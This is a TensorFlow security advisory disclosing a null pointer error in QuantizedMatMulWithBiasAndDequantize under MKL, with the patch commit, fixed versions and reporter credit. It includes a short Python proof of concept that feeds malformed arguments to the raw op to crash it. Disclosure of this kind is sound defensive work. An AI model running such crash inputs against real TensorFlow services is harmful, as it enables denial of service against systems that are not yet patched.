Description

TensorFlow has Null Pointer Error in QuantizedMatMulWithBiasAndDequantize

Impact

NPE in QuantizedMatMulWithBiasAndDequantize with MKL enable

import tensorflow as tf

func = tf.raw_ops.QuantizedMatMulWithBiasAndDequantize
para={'a': tf.constant(138, dtype=tf.quint8), 'b': tf.constant(4, dtype=tf.qint8), 'bias': [[31.81644630432129, 47.21876525878906], [109.95201110839844, 152.07968139648438]], 'min_a': 141.5337138686371, 'max_a': [73.84139251708984, 173.15280151367188], 'min_b': [], 'max_b': [[16.128345489501953, 193.26820373535156]], 'min_freezed_output': [], 'max_freezed_output': [115.50032806396484, 156.974853515625], 'Toutput': 1.0, 'transpose_a': True, 'transpose_b': False, 'input_quant_mode': 'MIN_FIRST'}

func(**para)

Patches

We have patched the issue in GitHub commit 8a47a39d9697969206d23a523c977238717e8727.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by r3pwnx

Mitigation

Aliases

References